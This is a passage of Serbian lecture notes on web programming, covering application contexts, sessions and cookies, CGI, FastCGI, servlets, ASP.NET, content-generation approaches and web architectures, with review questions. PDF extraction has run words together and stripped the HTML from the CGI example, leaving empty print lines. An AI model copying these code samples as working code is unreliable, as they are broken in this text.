Izbor izmedu vise arhitektura, vise nacina implementacije. Izbor arhitekture uticena znacaj mnogih karakteristika problema. Upotreba datoteka - trajni podacimogu da se cuvaju u datotekama, posebno ako se veb aplikacija implementirana jednom nivou. Komunikacija sa sistemima za upravljanje bazama podataka -najvazniji podaci su najcesce u nekom SUBP, problemi mogu biti citanje i menja-nje podataka. Komunikacija izmedu slojeva aplikacije - kod viseslojnih aplikacijamora da postoji komunikacija izmedu slojeva i komunikacija sa pomocnim servi-sima. Konkurentno okruzenje - da bi rad bio efikasan, neophodno je da vise zahtevamoze da se istovremeno konkurentno opsluzuje. Cesto se postavljaju upiti - stoje veb lokacija slozenija to je veci procenat sadrzaja koji se pripremaju na osnovusadrzaja baze podataka. Cesto se za pripremu jednog sardrzaja mora postaviti ponekoliko upita, posebno cesto na raznim uvodnim i preglednim stranicama, kao ina stranicama koje opisuju veze izmedu sadrzaja.

Relativno retko se izvode slozene transakcije - citanje podataka je mnogo cescenego njihovo menjanje. Najveci broj sadrzaja se priprema bez izvodenja bilo ka-kvih bocnih efekata, osim, mozda, radi vodenja evidencije poseta. Takode, velikibroj bocnih efekata je privremenog karaktera odnosi se samo na tekucu sesiju.Trajni i globalni bocni efekti se ostvaruju uglavnom u obliku transakcija nad po-dacima SUBP - promene podataka se uglavnom rade iz poslovnog sloja, a ne izsloja veba.

47

48 GLAVA 6. RAZVOJ VEB APLIKACIJA

Ujednacen graficki izgled stranica - obicno sve stranice jedne aplikacije imajuzajednicke osnovne elemente grafickog dizajna. Cesto se i na stranicama kojecine razlicite delove aplikacije pojavljuju neki zajednicki elementi. Razdvojenostposlovne logike i korisnickog interfejsa, od pocetka projektovanja do kraja imple-mentacije je pozeljno razvijati korisnicki interfejs od poslovne logike. Veci brojsavremenih alata za razvoj dinamickih veb lokacija to omogucava.

6.1.2 Karakteristike problema iz ugla sesije

Nosilac interaktivnosti je sesija. Veb aplikacija je interaktivan sistem, osnovniokvir za osnivanje interakcija izmedu posetioca i lokacija sesija.Sesija je nosilacrazmene informacija izmedu posetioca i lokacije i cuvanja informacija o posetiocui toku same sesije. Deo interaktivnosti se moze preneti na stranicu, posebno akose primeni arhitektura teskih klijenata. Interakcija u okviru sesije se sastoji odposeta i dijaloga.

Sesija se sastoji od parova (zahtev, odgovor). Takvi parovi ne grade vremenskuni prostornu sekvencu, neki delovi sesije se moraju odvijati u strogo definisanimsekvencama parova. Takvi segmenti sesije se nazivaju dialozi, a neuredeni seg-menti sesije su pojedinacne posete. Osnovni interaktivni element sesije je dijalog.Dijalog je osnovni element interakcije na nivou sesije, tok interakcije u okviru dija-loga je strogo definisan. Upravljanje dijalozima i sesijama - za ispravan tok sesijemoze biti neophodno prenosenje stanja izmedu uzastopnih poseta. Za ispravan tokdijaloga je potrebno upravljanja tokom poseta.

6.1.3 Karakteristike problema iz ugla stranice

Ne postoji interaktivnost pri pripremanju jednog sadrzaja. Pripremanje sadrzajaje kao crna kutija. Svi ulazni podaci su poznati pre zapocinjanja sadrzaja. Ni-jedan izlazni podatak se ne izdaje pre okoncavanja pripremanja sadrzaja. Imple-mentirana logika primene, nema spoljnih uticaja tokom pripreme. Pripremanjepojedinacnih sadrzaja je najcesce jednostavno. Najveci broj postpupaka za pri-premanje sadrzaja je sasvim jednostavan. Sam sadrzaj moze biti veoma slozen, alito se uglavnom ne odrazava znacajno na postupak njegovog pripremanja. Pripre-manje pociva na vecem broju deljenih zajednickih elemenata, vise manjih celina,jednostavnih za pripremanje i povezivanje delova u celinu. Stranica moze biti no-silac dela interaktivnosti, u slucaju arhitekture teskih klijenata, stranica moze dabude zaokruzena celina, koja u potpunosti obuhvata interakciju sa korisnikom zaobavljanje odredenog posla.

6.1.4 Karakteristike problema iz ugla ucesnika u razvoju

Razdvojenost programskih i grafickih segmenata definisanja stranica. Najvecibroj razvijalaca su HTML programeri koji znaju HTML, CSS, elemente grafickog

6.2. NIVOI SLOZENOSTI VEB SADRZAJA 49

dizajna i imaju negormalno i povrsno savladane osnove programiranja. Programeriznaju programiranje, baze podataka, neformalno i povrsno HTML, CSS i osnovedizajna. Hronican nedostatak strucnih kadrova koji znaju obe oblasti. Pozeljnoje razdvajanje poslova dizajna i programiranja. Izdvojenost delova programa kojise odnose na bazu podataka. Pozeljno je izdvojiti delove programa koji su nepo-sredno zavisni od konkretnog SUBP ili konkretne baze podataka. Lokalizovanjezavisnosti od specificnog SUBP - jednostavnija podela posla izmedu programerai strucnjaka za baze podataka. Potreba za jednostavnijim razvojem programskihsegmenata stranica. Da bi HTML programeri mogli da urade sto vise posla, po-trebno je da im se olaksa pisanje elementarnih programskih celina. Rezervisanostu odnosu na prelazak na nove alate, teznja da se sto rede koriste novi alati, ucenjekosta, a i mnogi en vole ucenje. Iskoristiti sto bolje vec stecena znanja, kako kodpojedinacnih programera tako i u organizacijama kao celinama.

6.2 Nivoi slozenosti veb sadrzaja

Nivo slozenosti veb sadrzaja

1. Stranica - jedan dokument sa pripadajucim sadrzajima (razliciti vizuelni,audio i video sadrzaji koji upotpunjuju prezentaciju dokumenta)

2. Skup stranica - kolekcija stranica izmedu kojih postoje medusobne veze, alito nije presudno

3. Veb lokacija - skup medusobno povezanih stranica, tematski ili drugacijeorganizovanih koje imaju uniforman dizajn i upotrebu. Obicno ima prepo-znatljivu namenu ili cilj.

4. Veb aplikacija - sadrzaj se dinamicki proizvodi ili prezetuje u vreme posecivanjai u interakciji sa korisnikom. Korisnik ne zahteva samo resurse nego i ne-kakvu vrstu obrade podataka (pretrazivanje, izracunavanje, itd). Takode,korisnik ostavlja trajan trag u sistemu (uredivanje sadrzaja, kupovina, itd).

6.3 Od zahteva do prikaza

Korisnik klijentskog racunara zeli da vidi prezentaciju izabranog resursa. Re-surs je dostupan na nekom serveru. Koraci:

1. Korisnik salje zahtev odgovarajucem serveru.

2. Server prima zahtev, obraduje ga i isporucuje paket klijentu.

3. Klijent priprema paket za prikazivanje i prokazuje prezentaciju resursa.

Sta server isporucuje? Kako klijent prima prezentaciju resursa?


6.4 Nivoi konteksta veb aplikacije

Pod kontekstom se podrazumeva okruzenje u kome postoji odredeno stanje tj.odredeni podaci. Pri razvoju i radu veb aplikacije, postoje 4 nivoa konteksta. Uokviru implementiranja svakog od nivoa konteksta potrebno je da postoji odredenodeljenje podataka.

1. Zahtev - pojedinacni zahtev i dobijen sadrzaj

2. Poseta - skup sadrzaja koji cini jendu kompletnu stranicu (HTML, CSS;slike, skriptovi, itd)

3. Sesija - jedna celovita upotreba aplikacije. Obuhvata vise poseta i sve do-datne skrivene zahteve (npr. AJAX zahtevi)

4. Aplikacija/Servis - obuhvata sve upotrebe aplikacije tokom perioda funkcio-nisanja.

6.4.1 Deljenje podataka

Deljenje podataka je potrebno na svakom od nivoa konteksta. Na nivou zahtevadeljenje je interno jer je obrada zahteva jedna celina. Na nivou posete podaci sedele pri pravljenju sadrzaja koji cine jednu stranicu. Nema sistemskog nacina dase ustanovi da zahtevi pripadaju istoj poseti, obicno se implementira kroz upitnideo URI-ja.

Na nivou sesije dele se podaci pri obradi svih zahteva jedne sesije i privremenikolacici. Podaci imaju privremeno trajanje. Zato postoje strategije koje se koristeda se prevazide taj problem. Prva podrazumeva koriscenje kolacica - svi potrebnipodaci se cuvaju u kolacicima. Medutim, to moze proizvesti veliki broj kolacica.Takode, kolacici usporavaju komunikaciju jer se svi salju sa svakim zahtevom.Konacno, kao sto smo ranije to rekli, kolacici predstavljaju veliki bezbednosniproblem. Druga strategija su aplikativne sesije. Koristi se samo jedan kolacic zaidentifikovanje sesije, svi ostali elementi stanja se cuvaju na serveeru. Termin se-sija se cesto upotrebljava za oznacavanje skupa podataka koji se cuvaju na serverui cine stanje jedne sesije.

Na nivou aplikacije podaci se dele su podaci koji se dele pri obradi svih zahteva apli-kacije, konfiguracija aplikacije, globalni deljeni podaci na nivou aplikacije, trajnikolacici i nalozi. Podaci se prenose izmedu vise sesija. Dve strategije - samokolacici i korisnicki nalozi. Samo kolacici ili jedan traji identifikacioni kolacicnije pouzdana identifikacija korisnika. Kolacici identifikuju korisnika klijentskogracunara. Koristi se samo za podatke koji nisu osetljivi, kao sto je podesavanje ko-risnickog interfejsa i sl. Koncept sa jednim kolacicem zahteva cuvanje potencijalnovelike kolicine nebitnih podataka na serveru.Korisnicki nalozi podrazumevaju da

6.5. TEHNOLOGIJE RAZVOJA SERVERSKE STRANE VEB APLIKACIJA51

korisnik mora da se autentifikuje, obicno navodenjem kotisnickog imena (ili elek-tronske adrese) i lozinke. Svi podaci se cuvaju na serveru, kao skup podataka okorisniku.

6.5 Tehnologije razvoja serverske strane veb apli-

kacija

6.5.1 Programi za pravljenje dinamickog sadrzaja

Da bi se neki sadrzaj dinamicki napravio (izmeni, prilagodio, itd) potrebno jeda se primeni neka logika. Ta logika se negde mora isporgramirati. Odgovarajuciprogram se mora izvrsiti. Veb server mora da pokrene program, prosledi mu pa-rametre, saceka da zavrsi izvrsavanje i preuzme rezultat izvrsavanja.

Program koji pravi sadrzaje mora da koristi vise vrsta podataka. Tu spadajupodaci iz zahteva (URI, domen, relativna putanja, produzena putanja, upit, telozahteva, paramteri formulara, datoteke koje klijent podize), podaci sesije - podacikoji cine stanje sesije, obicno u obliku netipiziranog kataloga vrednosti (moze bitii tipizirana struktura); podaci aplikacije/servisa - podaci koji cine konfiguracijuaplikacije, obicno se samo citaju; i globalni podaci i usluge - sistem datoteka, bazepodataka i drgi servisi. Da bi program pristupio podacima veb server ih morauciniti dostupnim programu. To se ne radi na isti nacin za sve vrste podatakani za sve verzije veb servera. Postoje mnoge tehnologije koje omogucavaju vebserveru da pokrene program i omoguci mu pristup ovim podacima.

Veb server moze da obezbedi pravljenje sadrzaja pokretanjem programa (kaozasebnog procesa ili kao dela procesa servera) ili pomocu zasebnih mehanizama(ugradenih u sam veb server ili povezanih sa serverom u visu prikljucaka, plug-in).

6.5.1.1 Pokretanje zasebnih procesa

Veb server pravi poseban proces i u njemu pokrece program za pripremusadrzaja , prenosi mu parametre, a po zavrsetku rada preuzima rezultat.

Common Gateway Interface - CGICGI je prva tehnologija za pokretanje programa prilagodena uobicajenom raduu UNIX svetu. Program se pokrece kao najobicniji proces na nivou OS-a. Vebserver prosleduje parametre kao argumente komandne linije, parametre okruzenja(setenv, getenv), ulazni tok. Program izdaje pripremljen sadrzaj na standardnomizlazu.


Karakteristike

univerzalan - prakticno svaki OS i svaki programski jezik. Pisu se na bilokom programskom jezikuna kome se mogu pisati programi ili skriptovi zaodgovarajucu serversku platformu (C/C++, Python, Perl, Tcl, itd)

bezbedan - svaki pokrenut program je zaseban proces u meri u kojoj jepostavljanje programa na server bezbedno (!!!)

relativno je neefikasan - pokretanje procesa je skupo vremenski i memorijski.Svaka instanca programa je novi proces, deljenje podataka mora da koristidruge sisteme (datoteke, baze podataka,itd). Cak i primena efikasnih pro-gramskih jezika ne resava problem jer se obicno radi o algoritamski i racunskijednostavnim problemima. Ispada da je vaznija cena pokretanja nego cenaizvrsavanja.

Bitno je naglasiti da se danas ova tehnologija uglavnom ne upotrebljava.

FastCGIFastCGI predstavlja unapredenje tehnologije CGI. Osnovna ideja je da se ustedina pokretanju procesa. Nakon sto se jedanput pokrene proces zavrsi jedan proces,zatim se uspava, ali se ne gasi. SLedeci put se ne pokrece novi proces vec se samoaktivira postojeci. Osnovni problem sa ovim pristupom je upotreba specificnihAPI-ja i umanjena prenosivost (izmedu servera).

6.5.1.2 Pokretanje programa u serveru

Veb server predstavlja okruzenje za izvrsavanje programa, nesto kao virtuelnamasina - pri pokretanju se ne prave posebni procesi, nema eksplicitnog prenosenjaparametara (dobijaju se od okruzenja). Okruzenje je veb server, interakcija se vrsipomocu API-ja. Program izdaje rezultat na standardnom izlazu, a po zavrsetkurada server preuzima rezultat. Iz ugla razvoja, nema znacajnih razlika u odnosuna CGI.

Java servletiVeb serveru se dodaje JVM, i za svaku aplikaciju se pravi posebna VM. Podaci nanivou aplikacije se dele kao da su globalni u VM, a podaci na nivou sesije se delepreko posebnih biblioteka. Dodatnim klasama se obezbeduje pristup posebnomsvetu.

Pokretanje programa ne zahteva ucestalo pokretanje procesa. Iako je Java je-ste sporija od C-a, veca je usteda nego gubitak jer su programi cesto relativnojednastovni. Ovo je i danas veoma zastupljena tehnologija.


ASP.NETASP.NET je onceptualno skoro isti kao Java servleti - razlika je u VM. ASP.NETkoristi CLR (Common Language Runtime) koji podrzava vise programskih jezika(kao sto su C#, VisualBasic, F#, itd). Ovo je primarna tehnologija za razvoj vebaplikacija za MS Windows.

6.5.1.3 Upotreba ugradenih mehanizama

Neki oblici pripreme sadrzaja zahtevaju relativno jednostavnu logiku i mogu seimplementirati bez posebnih programa. Odgovarajuci mehanizmi se mogu ugraditiu veb server.

Primer: SSI Server Side Include. U dokumentu se navode posebne direk-tive (tagovi). Pre isporucivanja sadrzaja, server analizira dokument i obradujedirektive na odgovarajuci nacin. Obicno su to jednostavne direktive za umetanjedrugog dokumenta ili dela dokumenta, ali mogu biti i nesto slozenije.

umetanje vrednosti promenljive

umetanje sadr\v zaja datoteke

pokretanje programa i umetanje dobijenog rezultata

6.5.1.4 Upotreba prikljucaka

Ako se u veb server ugradi mogucnost dodavanja prikljucaka, onda novi pri-kljucci mogu implementirati dodatne mehanizme za pripremanje sadrzaja. Slicnokao u slucaju ugradenih mehanizama, ali je mnogo veci nivo fleksibilnosti. Stavise,prikljucci mogu da dodaju i podrsku za nove nacine pokretanja programa. Sa-vremeni veb serveri imaju veoma mocne i fleksibilne mogucnosti dodavanja pri-kljucaka.

6.5.2 Pristupi pripremanju sadrzaja

Razlikuju se cetiri osnovna pristupa problemu pripremanja dinamickih sadrzaja

programski pritup

sablonski pritup

hibridni pritup

sesijski pritup


6.5.2.1 Programski pristup

Za pripremanje svakog dinamickog sadrzaja se pise odgovarajuci program kojije najopstiji, najfleksibilniji, najmocniji, najmanje produktivan za jednostavnesadrzaje. Primeri su CGI, Java servleti, Perl, Python, itd.

print "Content-type:text/html\r\n\r\n";

print ;

print ;

print Hello Word - First CGI Program;

print ;

print ;

print Hello Word! This is my first CGI program;

print ;

print ;

6.5.2.2 Sablonski pristup

Dinamicke stranice se opisuju pomocu sablona. Sabloni sadrze konstantnedelove, koji se ne menjaju, i parametrizovane delove, koji se dinamicki menjaju.Obicno su nadgradnja HTML-a - dodaju se tzv. serverski tagovi. Obicno je velikibroj jednostavnih tagova, potencijalno i relativno slozeni makroi. Primeri su SSI,Cold Fusion.

...

#myFirstVar#

#mySecVar#

#myNumber#

#myNumber + anotherNumber#

...

UPDATE titles

SET price = 23.99

WHERE (title_id = BU1032)

...

Ovakav pristup je veoma jednostavan i produktivan za jednostavne sadrzaje, alije tesko prilagodljivo i obicno veoma komplikovano za iole slozenije sadrzaje. Ovoje nedovoljno izrazajno resenje - ne moze se svaka logika pripremanja sadrzajaopisati na ovaj nacin. Takode, ograniceno je na stranice (tj. obicno sve tekstualnesadrzaje), ssto nije pogodno za binarne sadrzaje.


6.5.2.3 Hibridni pristup

Mesavina programskog i sablonskog pristupa. Dodaje se mal broj serverskih ta-gova, i to:

tag izraza - telo taga je izraz zapisan na programskom jeziku, ciji rezultat cezameniti tag

programski tag - telo taga je segment programa koji radi neki posao, tag sezamenjuje onim sto segment porgrama ispise na standardnom izlazu.

Primeri su JSP, ASP.NET, PHP, itd.

...


6.5.2.4 Serijski pristup

Ideja je da se programski rukovodi tokom sesije (dijaloga), za razliku od uobicajenogkorisnickog vodenja. Obicno se deli na sablonsko opisivanje interfejsa i programskoopisivanje toka dijaloga. Primeri su Mawl, , Guide.

Ovakvo resenje ima znacajne kvalitete u domenu upravljanja tokom dijaloga, alinije dovoljno fleksibilno i jednostavno za ostale slucajeve.

6.5.2.5 Odnos alata i pristupa

razvojnih alata je prilagodena jednom od pristupa. Danas je najzastupljeniji hi-bridni pristup. Retki su alati koji kombinuju sve pristupe.

6.6 Pitanja

6.1 Iz kojih uloga sagledavamo karakteristike problema razvoja Veb aplikacije?Navesti po jednu karakteristiku iz svakog od uglova.

6.2 Navesti i objasniti karakteristike problema razvoja aplikacija iz ugla aplikacije.

6.3 Navesti i objasniti karakteristike problema razvoja aplikacija iz ugla sesije.

6.4 Navesti i objasniti karakteristike problema razvoja aplikacija iz ugla stranice.

6.5 Navesti i objasniti karakteristike problema razvoja aplikacija iz ugla ucesnikau razvoju.

6.6 Navesti i objasniti nivoe konteksta Veb aplikacije.

6.7 Objasniti deljenje podataka u odnosu na nivoe konteksta Veb aplikacije.

6.8 Objasniti detaljno deljenje podataka na nivou sesije.

6.9 Objasniti detaljno deljenje podataka na nivou aplikacije.

6.10 Koji podaci mogu da se koriste pri pravljenju dinamickih sadrzaja?

6.11 Kako se obezbeduje pravljenje dinamickih sadrzaja na Veb serveru? Objasniti.

6.12 Na koje nacine se pokrecu programi za pripremu sadrzaja na Veb serveru?

6.13 Sta je CGI? Objasniti.

6.14 Sta je FastCGI? Objasniti.

6.15 Sta su Java servleti? Objasniti.

6.16 Sta je ASP.NET? Objasniti.

6.6. PITANJA 57

6.17 Kako se prave dinamicki sadrzaji na Veb serveru pomocu ugradenih mehani-zama?

6.18 Navesti i ukratko objasniti razlicite pristupe pripremanju dinamickih sadrzaja.

6.19 Objasniti programski pristup pripremanju dinamickih sadrzaja. Karakteri-stike?

6.20 Objasniti sablonski pristup pripremanju dinamickih sadrzaja. Karakteristike?

6.21 Objasniti sesijski pristup pripremanju dinamickih sadrzaja. Karakteristike?

Glava 7

Arhitektura veb aplikacija

Prema mestu pripreme prezentacije resursa/podataka i sadrzaju koji se saljeklijentu, razlikuju se tri arhitekture veb aplikacija:

1. Arhitektura klijent-server: server na osnovu podataka i metapodataka pri-prema prezentaciju i salje je klijentu. (sve se nalazi na serveru)

2. Arhitektura prenosenja objekata: server salje klijentu podatke, metapo-datke i programe za pripremu i predstavljanje prezentacije. (sve se nalazi naklijentu)

3. Arhitektura bogatih/teskih klijenata: server salje klijentu podatke i meta-podatke i prepusta mu da samostalno pripremi prezentacija. (veci deo senalazi na klijentu)

7.1 Arhitektura klijent-server

Kod klijent-server arhitekture, server na osnovu podataka i metapodataka pri-prema i salje klijentu prezentaciju. Primer: pravljenje stranica na strani servera:PHP, ASP.NET (nema apleta ni mnogo skriptova na strani klijenta)

KarakteristikeVisoko opterecenje servera, jer je posao pripreme prezentacije na serveru. Prakticnosvaka aktivnost korisnika zavrsava na serveru. Nisko opterecenje klijenta, sto jeidealno za tanke klijente. Prakticno bez velike obrade podataka. Ovo je bilaprakticno jedina koriscena arhitektura u prvim godinama veba, veoma cesta i da-nas.

7.1.1 Elementi arhitekture klijent-server

Veb pregledac: prikazuje korisniku dobijene sadrzaje, prevodi aktivnosti kori-snika u zahteve za nove sadrzaje. Izvrsava manje zahtevne skriptove radi

59

60 GLAVA 7. ARHITEKTURA VEB APLIKACIJA

podizanja nivoa interaktivnosti. Provera ispravnosti ulaznih podataka, pri-kazivanje izabranih elemenata stranice, itd.

Stranica: relativno pasivan element, posrednik u komunikaciji izmedu korisnikai pregledaca

Veb server: sam isporucuje staticke sadrzaje, koristi usluge drugih programa zapravljenje dinamickih sadraja. Veb server ima ulogu posrednika izmedu kli-jenta i generatora sadrzaja

Generatori sadrzaja: to su razliciti programi na strani servera. Oni prave di-namicke sadrzaje, najcesce stranice. Od veb servera dobijaju zadatke (za-hteve) i isporucuju mu rezultate (odgovore). Implementiraju poslovnu logikuaplikacije (sami ili kroz biblioteke)

Slika 7.1: Arhitektura klijent-server

7.1.2 Vrste arhitekture klijent-server

HTML: osnovna vrsta klijent-server veb aplikacije. Server isporucuje HTML.

XSLT: naprednija varijanta klijent-server veb aplikacije. Isporucuje dokumenteu formatu XML, veb pregledac primenjuje XSL transformacije na XML kakobi dobio HTML ili neki drugi format. Npr. WML za bezicne ili VoiceXMLza glasovne uredaje. Dobro je sto na serveru mozemo da napravimo isporukujednog XML za vise uredaja i onda svaki uredaj moze da transformise tajsadrzaj u odgovarajuci prikaz (za mobilne telefone, racunare, itd).

7.2. ARHITEKTURA PRENOSENJA OBJEKATA 61

7.1.3 Karakteristike arhitekture klijent-server

Postoje slicnosti veb aplikacije sa arhitekturom klijent-server i obicne klijent-server aplikacije. Serverska strana je konceptualno ista - server isporucuje odgo-varajuce podatke ili dokumente na zahtev klijenta. Formati podataka se mogurazlikovati, ali je sustina neizmenjena.

Razlike izmedu veb aplikacije sa arhitekturom klijent-server i obicne klijent-serveraplikacije ogledaju se u tome sto serverska strana isporucuje i podatke i interfejs,veb aplikacije imaju ujednacen protokol, koristi se samo HTTP. Veb aplikacijeimaju ujednacen U/I podsistem. Koristi se veb pregledac za implementaciju kori-snickog interfejsa. Izuzetno visok nivo prenosivosti klijenata. Podrska za (manjekompatibilne) bogatije interfejse (apleti i skriptovi). Korisnicki interfejs je po-deljen na vise stranica, pojedinacna stranica veb aplikacije predstavlja samo deointerfejsa za obavljanje nekog posla.

7.1.4 Slojevi aplikacije

Arhitektura klijent-server veb aplikacije se lako prilagodava potrebama doda-vanjem novih i menjanjem postojecih slojeva. Veb pregledaci predstavljaju osnovuspoljasnjeg korisnickog sloja. Najvisi korisnicki sloj cine HTML, JavaScript, apleti.Veb serveri predstavljaju unutrasnji korisnicki sloj. Oni proizvode i isporucujukomponente korisnickog interfejsa, reaguju na aktivnosti korisnika. Sloj podatakaobicno pociva na SUBP (sistemu za upravljanjem bazama podataka). Sloj po-slovne logike moze da bude integrisan u sloj podataka, unutrasnji korisnicki slojili implementiran kao poseban sloj (ili vise slojeva).

Veb aplikacije sa arhitekturom klijent-server predstavljaju najopstiji slucaj. Vecinaprincipa koji se moraju postovati pri izradi ovakve veb aplikacije vaze i u ostalimslucajevima. Obrnuto ne vazi.

7.2 Arhitektura prenosenja objekata

Kod arhitekture prenosenja objekata, server salje klijentu podatke, metapo-datke i programe za pripremu i predstavljanje prezentacije. Klasican primer suJava apleti, Adobe Flash.Karakteristike su smanjeno opterecenje servera, jer je server osloboden od po-slova pripreme prezentacije, ali je potencijalno povecan prenos zbog prenosenjaprograma, dodatnog prenosenja podataka (na zahtev programa). Serveri su viseoptereceni jer se programi za pripremu prezentacije nalaze na strani klijenta. Ova-kva arhitektura je cesto koriscena za implementaciju igara, visoko interaktivnihaplikacija i sl.

62 GLAVA 7. ARHITEKTURA VEB APLIKACIJA

7.2.1 Elementi arhitekture prenosenja objekata

Veb pregledac predstavlja okruzenje u okviru koga se pokrecu apleti dobijeni odservera.

Stranica je pasivan element.

Apleti su glavni elementi aplikacije, implementiraju poslovnu logiku. Pregledacim sluzi kao posrednik u komunikaciji sa veb serverom. U komunikaciji sapregledacem zaobilaze (preskacu) stranicu.

Veb server sam isporucuje staticke sadrzaje i aplete, koristi usluge drugih pro-grama za pristupanje podacima. Veb server ima ulogu posrednika izmeduapleta i agenata za podatke

Agenti za podatke su programi koji prave dinamicke sadrzaje na osnovu ras-polozivih podataka. Takode izvode odgovar

Documents

Programiranje za veb (skripta) - alas.matf.bg.ac.rsalas.matf.bg.ac.rs/~mi13050/pdf/PVEB skripta.pdf · Programiranje za veb (skripta) ... sredstva za izgradnju veba. Veb" i Internet"